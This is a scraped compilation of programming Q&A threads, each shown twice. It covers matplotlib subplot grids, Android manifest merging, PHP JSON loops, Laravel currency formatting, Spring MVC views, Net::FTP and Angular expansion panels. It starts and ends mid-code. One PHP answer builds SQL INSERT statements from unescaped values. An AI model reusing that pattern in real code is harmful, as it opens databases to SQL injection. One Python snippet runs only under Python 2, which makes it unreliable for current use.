            datagramSocket.receive(recvPacket);
            System.out.printf("Send...[%s]/ recv...[%s]", new String(sendDatagram).trim(), new String(recvPacket.getData()).trim());

            System.out.println();
            System.out.println("Ingrese B");
            String msgB = input.readLine();
            //sendDatagramB = (msgB.getBytes());
            System.arraycopy(msgB.getBytes(), 0, sendDatagramB, 0, msgB.getBytes().length);
            DatagramPacket sendPacketB = new DatagramPacket(sendDatagramB, sendDatagramB.length, ipServer, 6667);
            DatagramPacket recvPacketB = new DatagramPacket(receiveDatagramB, receiveDatagramB.length, ipServer, 6667);

            datagramSocketA = new DatagramSocket();
            datagramSocketA.send(sendPacketB);
            datagramSocketA.receive(recvPacketB);
            System.out.printf("Send...[%s]/ recv...[%s]", new String(sendDatagramB).trim(), new String(recvPacketB.getData()).trim());

            System.out.println();
            System.out.println("Ingrese C");

            String msgC = input.readLine();
            //sendDatagramC = (msgC.getBytes());
            System.arraycopy(msgC.getBytes(), 0, sendDatagramC, 0, msgC.getBytes().length);
            DatagramPacket sendPacketC = new DatagramPacket(sendDatagramC, sendDatagramC.length, ipServer, 6667);
            DatagramPacket recvPacketC = new DatagramPacket(receiveDatagramC, receiveDatagramC.length, ipServer, 6667);
            datagramSocketB = new DatagramSocket();
            datagramSocketB.send(sendPacketC);
            datagramSocketB.receive(recvPacketC);
            System.out.printf("Send...[%s]/ recv...[%s]", new String(sendDatagramC).trim(), new String(recvPacketC.getData()).trim());

            datagramSocket.close();
            datagramSocketA.close();
            datagramSocketB.close();
        }
    }
}

I think it is important what you will exactly do with the code.

Good luck.


问:
Multiple subplots of a dataframe into a single jpg - Python
I have a dataframe as the following:

```<code>    state           year    SUR index
0   Aguascalientes  1997    1.116118
1   Aguascalientes  1998    1.129570
2   Aguascalientes  1999    1.129570
3   Aguascalientes  2000    1.129570
4   Aguascalientes  2001    1.340662
</code>```

with 32 different states. I need to plot how has the sur index has evolved over the years and therefore I need 32 different graphs in a single jpg with 4 grafs per row and a total of 8 rows.

What I tried:

```<code>def plotting(df):
    pp = PdfPages('multipage.pdf')
    for estado in df['state'].unique():
        plt.plot(df['year'].unique(),df['SUR index'][df['state']==estado],"b")
        plt.ylabel('Sur index')
        plt.xlabel('Año')
        plt.title(estado)
        plt.savefig(pp, format='pdf')
        plt.figure()
    pp.close()
</code>```

However, the first states gets all the data from other states and I have 32 different lines in that one. Also, I haven't found a way to have it in the 8*4 way I need it to be.

答:
Here is some sample code, for your example you will need to adjust the size of the axes grid (to 8x4).

```<code>import pandas as pd
import matplotlib.pyplot as plt
import numpy as np

df = pd.DataFrame()

df['State'] = (['a','b','c','d']*30)
df.sort_values(by='State', inplace=True)
df.reset_index(inplace=True, drop=True)
df['year'] = range(1990, 2020)*4

df['SUR'] = np.random.uniform(0,100,120)

fig, axes = plt.subplots(2,2)
for (name, df), ax in zip(df.groupby('State'), axes.flat):
    df.plot(x='year',y='SUR', ax=ax, legend=False)
    ax.set_title(name)
fig.tight_layout()
fig.show()
</code>```

To add labels to the axes you need to call:

```<code>ax.set_xlabel(...)
ax.set_ylabel(...)
</code>```

To save the figure call:

```<code>fig.savefig(...)
</code>```

Body:
I have a dataframe as the following:

    state           year    SUR index
0   Aguascalientes  1997    1.116118
1   Aguascalientes  1998    1.129570
2   Aguascalientes  1999    1.129570
3   Aguascalientes  2000    1.129570
4   Aguascalientes  2001    1.340662

with 32 different states. I need to plot how has the sur index has evolved over the years and therefore I need 32 different graphs in a single jpg with 4 grafs per row and a total of 8 rows.

What I tried:

def plotting(df):
    pp = PdfPages('multipage.pdf')
    for estado in df['state'].unique():
        plt.plot(df['year'].unique(),df['SUR index'][df['state']==estado],"b")
        plt.ylabel('Sur index')
        plt.xlabel('Año')
        plt.title(estado)
        plt.savefig(pp, format='pdf')
        plt.figure()
    pp.close()

However, the first states gets all the data from other states and I have 32 different lines in that one. Also, I haven't found a way to have it in the 8*4 way I need it to be.

Body:
Here is some sample code, for your example you will need to adjust the size of the axes grid (to 8x4).

import pandas as pd
import matplotlib.pyplot as plt
import numpy as np

df = pd.DataFrame()

df['State'] = (['a','b','c','d']*30)
df.sort_values(by='State', inplace=True)
df.reset_index(inplace=True, drop=True)
df['year'] = range(1990, 2020)*4

df['SUR'] = np.random.uniform(0,100,120)

fig, axes = plt.subplots(2,2)
for (name, df), ax in zip(df.groupby('State'), axes.flat):
    df.plot(x='year',y='SUR', ax=ax, legend=False)
    ax.set_title(name)
fig.tight_layout()
fig.show()

To add labels to the axes you need to call:

ax.set_xlabel(...)
ax.set_ylabel(...)

To save the figure call:

fig.savefig(...)


问:
Manifest merge failed : Android Studio
my project and android studio worked fine last night.but when i open android studio today getting below error.i didn't change anything.how can i fix this?

```<code>Error:Execution failed for task ':app:processDebugManifest'.
> Manifest merger failed : Attribute meta-data#android.support.VERSION@value value=(25.3.0) from [com.android.support:design:25.3.0] AndroidManifest.xml:27:9-31
    is also present at [com.android.support:appcompat-v7:26.0.0-alpha1] AndroidManifest.xml:27:9-38 value=(26.0.0-alpha1).
    Suggestion: add 'tools:replace="android:value"' to <meta-data> element at AndroidManifest.xml:25:5-27:34 to override.
</code>```

this is my build.gradle

```<code> android {
        compileSdkVersion 25
        buildToolsVersion '25.0.0'
        defaultConfig {
            applicationId "com.android.my.app"
            minSdkVersion 17
            targetSdkVersion 25
            versionCode 1
            versionName "1.0"
            testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
        }
        buildTypes {
            release {
                minifyEnabled false
                proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
            }
        }
    }

    dependencies {
        compile fileTree(dir: 'libs', include: ['*.jar'])

        compile 'com.android.support:appcompat-v7:25.1.0'
        compile 'com.android.support.constraint:constraint-layout:1.0.2'
        compile 'io.reactivex:rxandroid:1.2.1'
        compile 'io.reactivex:rxjava:1.1.6'
        compile 'com.jakewharton.rxbinding:rxbinding:0.3.0'
        compile 'com.android.support:design:25.1.0'
        compile 'com.jakewharton:butterknife:7.0.1'
        compile 'com.gdacciaro:iosdialog:1.0.2'
        compile 'com.roughike:bottom-bar:2.3.1'
        testCompile 'junit:junit:4.12'
    }
</code>```

答:
Try to put this at the end of your app module build.gradle:</p>

```<code>configurations.all {
    resolutionStrategy.eachDependency { DependencyResolveDetails details ->
        def requested = details.requested
        if (requested.group == 'com.android.support') {
            if (!requested.name.startsWith("multidex")) {
                details.useVersion '25.3.0'
            }
        }
    }
}
</code>```

Title: Manifest merge failed : Android Studio

Body:
my project and android studio worked fine last night.but when i open android studio today getting below error.i didn't change anything.how can i fix this?

Error:Execution failed for task ':app:processDebugManifest'.
> Manifest merger failed : Attribute meta-data#android.support.VERSION@value value=(25.3.0) from [com.android.support:design:25.3.0] AndroidManifest.xml:27:9-31
    is also present at [com.android.support:appcompat-v7:26.0.0-alpha1] AndroidManifest.xml:27:9-38 value=(26.0.0-alpha1).
    Suggestion: add 'tools:replace="android:value"' to <meta-data> element at AndroidManifest.xml:25:5-27:34 to override.

this is my build.gradle

 android {
        compileSdkVersion 25
        buildToolsVersion '25.0.0'
        defaultConfig {
            applicationId "com.android.my.app"
            minSdkVersion 17
            targetSdkVersion 25
            versionCode 1
            versionName "1.0"
            testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
        }
        buildTypes {
            release {
                minifyEnabled false
                proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
            }
        }
    }

    dependencies {
        compile fileTree(dir: 'libs', include: ['*.jar'])

        compile 'com.android.support:appcompat-v7:25.1.0'
        compile 'com.android.support.constraint:constraint-layout:1.0.2'
        compile 'io.reactivex:rxandroid:1.2.1'
        compile 'io.reactivex:rxjava:1.1.6'
        compile 'com.jakewharton.rxbinding:rxbinding:0.3.0'
        compile 'com.android.support:design:25.1.0'
        compile 'com.jakewharton:butterknife:7.0.1'
        compile 'com.gdacciaro:iosdialog:1.0.2'
        compile 'com.roughike:bottom-bar:2.3.1'
        testCompile 'junit:junit:4.12'
    }

Body:
Try to put this at the end of your app module build.gradle:

configurations.all {
    resolutionStrategy.eachDependency { DependencyResolveDetails details ->
        def requested = details.requested
        if (requested.group == 'com.android.support') {
            if (!requested.name.startsWith("multidex")) {
                details.useVersion '25.3.0'
            }
        }
    }
}


问:
I have json array data which needs to be fetched in a foreach loop for capacitor and DG using php
I want to fetch the below json data using php:

```<code> $str ='{
  "site_Id": "1",
  "site_Name": "Guajarat",
  "site_Address": "Emami",
  "site_StartDate": "10 / November / 2017   To   11 / November / 2017",
  "Capacitor": [
  {
  "checkList_Id_PointNo": "1",
  "checkList_Name": "APFC Panel doors and covers properly closed",
  "checkList_Status": "Not OK",
  "checkList_Remark": "Remark 1",
  "checkList_Photo": "11Capacitor BankCapacitor Name1",
  "fk_equipmentType": "Capacitor Bank"
  },
  {
  "checkList_Id_PointNo": "2",
  "checkList_Name": "APFC Panel door locks working properly.",
  "checkList_Status": "Not OK",
  "checkList_Remark": "Remark ",
  "checkList_Photo": "11Capacitor BankCapacitor Name2",
  "fk_equipmentType": "Capacitor Bank"
  }
  ],
 "DG": [
  {
  "checkList_Id_PointNo": "1",
  "checkList_Name": "Substation earthing layout clearly making the position or earthing pits with identification number and the route of earthing lead / strip",
  "checkList_Status": "Not OK",
  "checkList_Remark": "Remark gg",
  "checkList_Photo": "12EarthingDG Earthing1",
  "fk_equipmentType": "Earthing"
  },
  {
  "checkList_Id_PointNo": "2",
  "checkList_Name": "All earhting pits should have identification number as indicated in earthing layout written over them with permanent paint",
  "checkList_Status": "Not OK",
  "checkList_Remark": "Remark gg",
  "checkList_Photo": "12EarthingDG Earthing2",
  "fk_equipmentType": "Earthing"
  }
  ]
 }';
</code>```

Until now i have only coded for the Capacitor but i also need to fetch both Capacitor and DG from the same loop. Below is the foreach loop from which i have only fetch data of Capacitor but in that loop i also need to fetch DG at the same time.

```<code>foreach ($json['Capacitor'] as $field => $value) {
    $id = $json['Capacitor'][$field]['checkList_Id_PointNo'];
    $name = $json['Capacitor'][$field]['checkList_Name'];
    $status = $json['Capacitor'][$field]['checkList_Status'];
    $remark = $json['Capacitor'][$field]['checkList_Remark'];
    $photo = $json['Capacitor'][$field]['checkList_Photo'];
    echo $id.'<br>'.$name.'<br>'.$status.'<br>'.$remark.'<br>'.$photo.'<br><br>';
}
</code>```

答:
You can do it like below:-

```<code><?php

$json = json_decode($str,true);
print_r($json);

foreach ($json as $value) {
  if(is_array($value)){
    foreach($value as $val){
       $id = $val['checkList_Id_PointNo'];
       $name = $val['checkList_Name'];
       $status = $val['checkList_Status'];
       $remark = $val['checkList_Remark'];
       $photo = $val['checkList_Photo'];
       echo "INSERT INTO table (id, name, status, remark, photo) VALUES ('$id', '$name', '$status','$remark','$photo')".PHP_EOL; // i have printed it so that you can see that it's printing perfectly.
    }
  }
}
</code>```

Output:- https://eval.in/898497

Body:
I want to fetch the below json data using php:

 $str ='{
  "site_Id": "1",
  "site_Name": "Guajarat",
  "site_Address": "Emami",
  "site_StartDate": "10 / November / 2017   To   11 / November / 2017",
  "Capacitor": [
  {
  "checkList_Id_PointNo": "1",
  "checkList_Name": "APFC Panel doors and covers properly closed",
  "checkList_Status": "Not OK",
  "checkList_Remark": "Remark 1",
  "checkList_Photo": "11Capacitor BankCapacitor Name1",
  "fk_equipmentType": "Capacitor Bank"
  },
  {
  "checkList_Id_PointNo": "2",
  "checkList_Name": "APFC Panel door locks working properly.",
  "checkList_Status": "Not OK",
  "checkList_Remark": "Remark ",
  "checkList_Photo": "11Capacitor BankCapacitor Name2",
  "fk_equipmentType": "Capacitor Bank"
  }
  ],
 "DG": [
  {
  "checkList_Id_PointNo": "1",
  "checkList_Name": "Substation earthing layout clearly making the position or earthing pits with identification number and the route of earthing lead / strip",
  "checkList_Status": "Not OK",
  "checkList_Remark": "Remark gg",
  "checkList_Photo": "12EarthingDG Earthing1",
  "fk_equipmentType": "Earthing"
  },
  {
  "checkList_Id_PointNo": "2",
  "checkList_Name": "All earhting pits should have identification number as indicated in earthing layout written over them with permanent paint",
  "checkList_Status": "Not OK",
  "checkList_Remark": "Remark gg",
  "checkList_Photo": "12EarthingDG Earthing2",
  "fk_equipmentType": "Earthing"
  }
  ]
 }';

Until now i have only coded for the Capacitor but i also need to fetch both Capacitor and DG from the same loop. Below is the foreach loop from which i have only fetch data of Capacitor but in that loop i also need to fetch DG at the same time.

foreach ($json['Capacitor'] as $field => $value) {
    $id = $json['Capacitor'][$field]['checkList_Id_PointNo'];
    $name = $json['Capacitor'][$field]['checkList_Name'];
    $status = $json['Capacitor'][$field]['checkList_Status'];
    $remark = $json['Capacitor'][$field]['checkList_Remark'];
    $photo = $json['Capacitor'][$field]['checkList_Photo'];
    echo $id.'
'.$name.'
'.$status.'
'.$remark.'
'.$photo.'

';
}

Body:
You can do it like below:-

<?php

$json = json_decode($str,true);
print_r($json);

foreach ($json as $value) {
  if(is_array($value)){
    foreach($value as $val){
       $id = $val['checkList_Id_PointNo'];
       $name = $val['checkList_Name'];
       $status = $val['checkList_Status'];
       $remark = $val['checkList_Remark'];
       $photo = $val['checkList_Photo'];
       echo "INSERT INTO table (id, name, status, remark, photo) VALUES ('$id', '$name', '$status','$remark','$photo')".PHP_EOL; // i have printed it so that you can see that it's printing perfectly.
    }
  }
}

Output:- https://eval.in/898497


问:
Formatting currency based on Indian numbering system in laravel
I used PHP's NumberFormatter. But I am getting the error as 'NumberFormatter not found'. Then I used the Money package, https://packagist.org/packages/money/money but, there is no support for the INR(Indian Currency).

Though I am not much concerned with the rupee symbol with the number, at least I need to format the number; for eg: from 7827894.8 to 78,27,894.80.
How can I achieve it?

I am not able to use,

NumberFormatter (Intl package is not detecting though I uncommented it from php.ini)

money_format()  (as mine is windows system)

Money/Money Package (no function available for my problem)

Please help me to achive a correct way of representing the money(either by using any package or by using a custom function) TIA.

答:
From one of my github gists I wrote a  few months ago,

```<code><?php
    function IND_money_format($money){

            $decimal = (string)($money - floor($money));
            $money = floor($money);
            $length = strlen($money);
            $m = '';
            $money = strrev($money);
            for($i=0;$i<$length;$i++){
                if(( $i==3 || ($i>3 && ($i-1)%2==0) )&& $i!=$length){
                    $m .=',';
                }
                $m .=$money[$i];
            }
            $result = strrev($m);
            $decimal = preg_replace("/0\./i", ".", $decimal);
            $decimal = substr($decimal, 0, 3);
            if( $decimal != '0'){
            $result = $result.$decimal;
            }
            return $result;
        }
?>
</code>```

How to add this as a global helper function in laravel?

1 - Create a Helpers directory for your helper functions in the app directory
    `mkdir app/Helpers' .

2 - Download the Indian_currency_format.php file and save it to Helpers directory.

3 - In your composer.json add the file to "files" attribute of autoload so that it can be loaded by composer using PSR-4 autoloading
    (see https://getcomposer.org/doc/04-schema.md#psr-4),

```<code>like so:
        "autoload": {
            "classmap": [
                "database/seeds",
                "database/factories"
             ],
             "psr-4": {
                "App\\": "app/"
             },
             "files": [
                "app/Helpers/indian_money_format.php"
             ]
        },
</code>```

4 - Finally run composer dump-autoload to refresh autoload cache.

Check out my blog post on how to format a number to Indian Rupee format in PHP / Laravel to learn in depth how this function actually works.

Body:
From one of my github gists I wrote a  few months ago,

<?php
    function IND_money_format($money){

            $decimal = (string)($money - floor($money));
            $money = floor($money);
            $length = strlen($money);
            $m = '';
            $money = strrev($money);
            for($i=0;$i<$length;$i++){
                if(( $i==3 || ($i>3 && ($i-1)%2==0) )&& $i!=$length){
                    $m .=',';
                }
                $m .=$money[$i];
            }
            $result = strrev($m);
            $decimal = preg_replace("/0\./i", ".", $decimal);
            $decimal = substr($decimal, 0, 3);
            if( $decimal != '0'){
            $result = $result.$decimal;
            }
            return $result;
        }
?>

How to add this as a global helper function in laravel?

1 - Create a Helpers directory for your helper functions in the app directory
    `mkdir app/Helpers' .

2 - Download the Indian_currency_format.php file and save it to Helpers directory.

3 - In your composer.json add the file to "files" attribute of autoload so that it can be loaded by composer using PSR-4 autoloading
    (see https://getcomposer.org/doc/04-schema.md#psr-4),

like so:
        "autoload": {
            "classmap": [
                "database/seeds",
                "database/factories"
             ],
             "psr-4": {
                "App\\": "app/"
             },
             "files": [
                "app/Helpers/indian_money_format.php"
             ]
        },

4 - Finally run composer dump-autoload to refresh autoload cache.

Check out my blog post on how to format a number to Indian Rupee format in PHP / Laravel to learn in depth how this function actually works.


问:
Cannot return an HTML view in Spring MVC
It's my first attempt at using Spring and I ran into a problem. I cannot seem to return a simple HTML file as a view inside a controller. I'm trying to return the index.html file (it just has some text and a button), because it is displayed correctly when going to localhost:8080/.

The project was generated using IntelliJ, I figure I'd mention this since it handled most of the configuration.

Here's the file structure:

```<code>app:
 | src
    | main
       | java
          | com.my.testapp
              | Main.java
              | controllers
                  | TestController.java
       | resources
          | static
              | index.html
</code>```

Here are my files:

Main.java

```<code>@SpringBootApplication
public class Main
{
    public static void main(String[] args)
    {
        SpringApplication.run(Main.class, args);
    }
}
</code>```

TestController.java (the first controller actually works)

```<code>@RequestMapping("/test")
@Controller
public class TestController
{
    @RequestMapping(method = RequestMethod.GET, value = "/testget")
    public @ResponseBody ArrayList<Test> foo()
    {
        ArrayList<Test> tests = new ArrayList<>();

        tests.add(new Test("id1", "pass1"));
        tests.add(new Test("id2", "pass2"));

        return tests;
    }

    @RequestMapping(method = RequestMethod.GET, value = "/someview")
    public String showView()
    {
        return "index";
    }
}
</code>```

And finally, the pom.xml:

```<code><?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.my</groupId>
    <artifactId>testapp</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <packaging>jar</packaging>

    <name>springtest</name>
    <description>Demo project for Spring Boot</description>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>1.5.8.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <java.version>1.8</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <scope>runtime</scope>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <configuration>
                    <addResources>true</addResources>
                </configuration>
            </plugin>
        </plugins>
    </build>

</project>
</code>```

I was previously using @RestController annotation and the controller would simply return the string index, but now I get a 404 page (Whitelabel Error Page). I know this is a common issue, but I haven't been able to solve it using other people's solution.

EDIT: Ok, I managed to fix part of it by removing the line @RequestMapping("/test"), but I now need to pass the view as "index.html" instead of simply "index". Is there a way to skip the .html? Currently it doesn't work without it.

EDIT #2: I finally figured out how to make the views work properly, check my answer below.

答: Just try "index.html" instead of "index" in the return statement of your showView() method. Let me know if it works.

Body:
It's my first attempt at using Spring and I ran into a problem. I cannot seem to return a simple HTML file as a view inside a controller. I'm trying to return the index.html file (it just has some text and a button), because it is displayed correctly when going to localhost:8080/.

The project was generated using IntelliJ, I figure I'd mention this since it handled most of the configuration.

Here's the file structure:

app:
 | src
    | main
       | java
          | com.my.testapp
              | Main.java
              | controllers
                  | TestController.java
       | resources
          | static
              | index.html

Here are my files:

Main.java

@SpringBootApplication
public class Main
{
    public static void main(String[] args)
    {
        SpringApplication.run(Main.class, args);
    }
}

TestController.java (the first controller actually works)

@RequestMapping("/test")
@Controller
public class TestController
{
    @RequestMapping(method = RequestMethod.GET, value = "/testget")
    public @ResponseBody ArrayList<Test> foo()
    {
        ArrayList<Test> tests = new ArrayList<>();

        tests.add(new Test("id1", "pass1"));
        tests.add(new Test("id2", "pass2"));

        return tests;
    }

    @RequestMapping(method = RequestMethod.GET, value = "/someview")
    public String showView()
    {
        return "index";
    }
}

And finally, the pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.my</groupId>
    <artifactId>testapp</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <packaging>jar</packaging>

    <name>springtest</name>
    <description>Demo project for Spring Boot</description>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>1.5.8.RELEASE</version>
        <relativePath/>
    </parent>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <java.version>1.8</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <scope>runtime</scope>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <configuration>
                    <addResources>true</addResources>
                </configuration>
            </plugin>
        </plugins>
    </build>

</project>

I was previously using @RestController annotation and the controller would simply return the string index, but now I get a 404 page (Whitelabel Error Page). I know this is a common issue, but I haven't been able to solve it using other people's solution.

EDIT: Ok, I managed to fix part of it by removing the line @RequestMapping("/test"), but I now need to pass the view as "index.html" instead of simply "index". Is there a way to skip the .html? Currently it doesn't work without it.

EDIT #2: I finally figured out how to make the views work properly, check my answer below.


问:
Net::FTP::File bug in dir_hashref()?
I'm using the Net::FTP::File module to get a list of directories in a remote path. It seemed to work fine until I stepped on this case where a directory named en shows up as just n, details:

```<code>'n' => {
    'Bytes' => '4096',
    'Group' => 'client3',
    'Owner' => '5004',
    'Path' => 'n',
    'Last Modified Year/Time' => '17:59',
    'Permissions' => 'drwxrwxr-x',
    'Last Modified Day' => '17',
    'Link To' => undef,
    'Number of Links' => '7',
    'Last Modified Month' => 'Jan'
},
</code>```

the directory on the server has the correct name (en) same owner/group/permissions as other directories that display fine.

I reduced the test case to the minimum so I know the problem doesn't depend on other bugs:

```<code>#!/usr/bin/perl

use strict;
use warnings;
use Net::FTP::File;

use Data::Dumper;
$Data::Dumper::Terse  = 1;
$Data::Dumper::Indent = 1;

my $ftp = new Net::FTP($site);
$ftp->login($user, $pass);
print Dumper $ftp->dir_hashref;
</code>```

is there anything I'm doing wrong that might cause this error? Or is it a bug in the dir_hashref() function of the module?

Alternatively, what's another (convenient) way to get only the directories in an FTP list? Standard Net::FTP provides the dir() method, but it's just a list of ls -l like strings that have to be parsed.

答:
I'd be inclined to suspect the filename contains an unusual character.

Do you see the file with the correct name if you use a normal FTP client to connect to that server?

Try passing the Debug parameter to the Net::FTP constructor, for instance:

```<code>my $ftp = Net::FTP->new($hostname, Debug => 1);
</code>```

That should get you some more debug info, in particular the dialog between your script and the server, which will likely be of use.

Title: Net::FTP::File bug in dir_hashref()?

Body:
I'm using the Net::FTP::File module to get a list of directories in a remote path. It seemed to work fine until I stepped on this case where a directory named en shows up as just n, details:

'n' => {
    'Bytes' => '4096',
    'Group' => 'client3',
    'Owner' => '5004',
    'Path' => 'n',
    'Last Modified Year/Time' => '17:59',
    'Permissions' => 'drwxrwxr-x',
    'Last Modified Day' => '17',
    'Link To' => undef,
    'Number of Links' => '7',
    'Last Modified Month' => 'Jan'
},

the directory on the server has the correct name (en) same owner/group/permissions as other directories that display fine.

I reduced the test case to the minimum so I know the problem doesn't depend on other bugs:

#!/usr/bin/perl

use strict;
use warnings;
use Net::FTP::File;

use Data::Dumper;
$Data::Dumper::Terse  = 1;
$Data::Dumper::Indent = 1;

my $ftp = new Net::FTP($site);
$ftp->login($user, $pass);
print Dumper $ftp->dir_hashref;

is there anything I'm doing wrong that might cause this error? Or is it a bug in the dir_hashref() function of the module?

Alternatively, what's another (convenient) way to get only the directories in an FTP list? Standard Net::FTP provides the dir() method, but it's just a list of ls -l like strings that have to be parsed.

Body:
I'd be inclined to suspect the filename contains an unusual character.

Do you see the file with the correct name if you use a normal FTP client to connect to that server?

Try passing the Debug parameter to the Net::FTP constructor, for instance:

my $ftp = Net::FTP->new($hostname, Debug => 1);

That should get you some more debug info, in particular the dialog between your script and the server, which will likely be of use.


问:
How to toggle Angular material expansion panel programmatically
I just started working on an Angular 4 project with material design.

I am currently working with the expansion component, the API states that  a disabled expansion panel can't be toggled by the user, but can still be manipulated programmatically. I don't know however, how you can toggle your panel programmatically.

What is the preferred way in Angular to simulate this?

答:
expanded is set to true to expand the expansion panel and set to false to close the expansion panel. In the following example, expansion panel is programmatically opened and closed. Please refer this link

TS file

import { Component } from '@angular/core';

/**
 * @title Expansion panel as accordion
 */
@Component({
    selector: 'expansion-steps-example',
    templateUrl: 'expansion-steps-example.html',
    styleUrls: ['expansion-steps-example.css']
})
export class ExpansionStepsExample {
    step = 0;

    setStep(index: number) {
        this.step = index;
    }

    nextStep() {
        this.step++;
    }

    prevStep() {
        this.step--;
    }
}
```
<p>HTML file</p>
<pre class="lang-html prettyprint-override"><code><mat-accordion class="example-headers-align">
    <mat-expansion-panel [expanded]="step === 0" (opened)="setStep(0)" hideToggle="true">
        <mat-expansion-panel-header>
            <mat-panel-title>
                Personal data
            </mat-panel-title>
            <mat-panel-description>
                Type your name and age
                <mat-icon>account_circle</mat-icon>
            </mat-panel-description>
        </mat-expansion-panel-header>

        <mat-form-field>
            <input matInput placeholder="First name">
        </mat-form-field>

        <mat-form-field>
            <input matInput type="number" min="1" placeholder="Age">
        </mat-form-field>

        <mat-action-row>
            <button mat-button color="primary" (click)="nextStep()">Next</button>
        </mat-action-row>
    </mat-expansion-panel>

    <mat-expansion-panel [expanded]="step === 1" (opened)="setStep(1)" hideToggle="true">
        <mat-expansion-panel-header>
            <mat-panel-title>
                Destination
            </mat-panel-title>
            <mat-panel-description>
                Type the country name
                <mat-icon>map</mat-icon>
            </mat-panel-description>
        </mat-expansion-panel-header>

        <mat-form-field>
            <input matInput placeholder="Country">
        </mat-form-field>

        <mat-action-row>
            <button mat-button color="warn" (click)="prevStep()">Previous</button>
            <button mat-button color="primary" (click)="nextStep()">Next</button>
        </mat-action-row>
    </mat-expansion-panel>

    <mat-expansion-panel [expanded]="step === 2" (opened)="setStep(2)" hideToggle="true">
        <mat-expansion-panel-header>
            <mat-panel-title>
                Day of the trip
            </mat-panel-title>
            <mat-panel-description>
                Inform the date you wish to travel
                <mat-icon>date_range</mat-icon>
            </mat-panel-description>
        </mat-expansion-panel-header>

        <mat-form-field>
            <input matInput placeholder="Date" [matDatepicker]="picker" (focus)="picker.open()" readonly>
        </mat-form-field>
        <mat-datepicker #picker></mat-datepicker>

        <mat-action-row>
            <button mat-button color="warn" (click)="prevStep()">Previous</button>
            <button mat-button color="primary" (click)="nextStep()">End</button>
        </mat-action-row>
    </mat-expansion-panel>

</mat-accordion>
</code>```

Body:
expanded is set to true to expand the expansion panel and set to false to close the expansion panel. In the following example, expansion panel is programmatically opened and closed. Please refer this link

TS file

import { Component } from '@angular/core';

/**
 * @title Expansion panel as accordion
 */
@Component({
    selector: 'expansion-steps-example',
    templateUrl: 'expansion-steps-example.html',
    styleUrls: ['expansion-steps-example.css']
})
export class ExpansionStepsExample {
    step = 0;

    setStep(index: number) {
        this.step = index;
    }

    nextStep() {
        this.step++;
    }

    prevStep() {
        this.step--;
    }
}

HTML file

<mat-accordion class="example-headers-align">
    <mat-expansion-panel [expanded]="step === 0" (opened)="setStep(0)" hideToggle="true">
        <mat-expansion-panel-header>
            <mat-panel-title>
                Personal data
            </mat-panel-title>
            <mat-panel-description>
                Type your name and age
                <mat-icon>account_circle</mat-icon>
            </mat-panel-description>
        </mat-expansion-panel-header>

        <mat-form-field>
            <input matInput placeholder="First name">
        </mat-form-field>

        <mat-form-field>
            <input matInput type="number" min="1" placeholder="Age">
        </mat-form-field>

        <mat-action-row>
            <button mat-button color="primary" (click)="nextStep()">Next</button>
        </mat-action-row>
    </mat-expansion-panel>

    <mat-expansion-panel [expanded]="step === 1" (opened)="setStep(1)" hideToggle="true">
        <mat-expansion-panel-header>
            <mat-panel-title>
                Destination
            </mat-panel-title>
            <mat-panel-description>
                Type the country name
                <mat-icon>map</mat-icon>
            </mat-panel-description>
        </mat-expansion-panel-header>

        <mat-form-field>
            <input matInput placeholder="Country">
        </mat-form-field>

        <mat-action-row>
            <button mat-button color="warn" (click)="prevStep()">Previous</button>
            <button mat-button color="primary" (click)="nextStep()">Next</button>
        </mat-action-row>
    </mat-expansion-panel>

    <mat-expansion-panel [expanded]="step === 2" (opened)="setStep(2)" hideToggle="true">
        <mat-expansion-panel-header>
            <mat-panel-title>
                Day of the trip
            </mat-panel-title>
            <mat-panel-description>
                Inform the date you wish to travel
                <mat-icon>date_range</mat-icon>
            </mat-panel-description>
        </mat-expansion-panel-header>

        <mat-form-field>
            <input matInput placeholder="Date" [matDatepicker]="picker" (focus)="picker.open()" readonly>
        </mat-form-field>
        <mat-datepicker #picker></mat-datepicker>

        <mat-action-row>
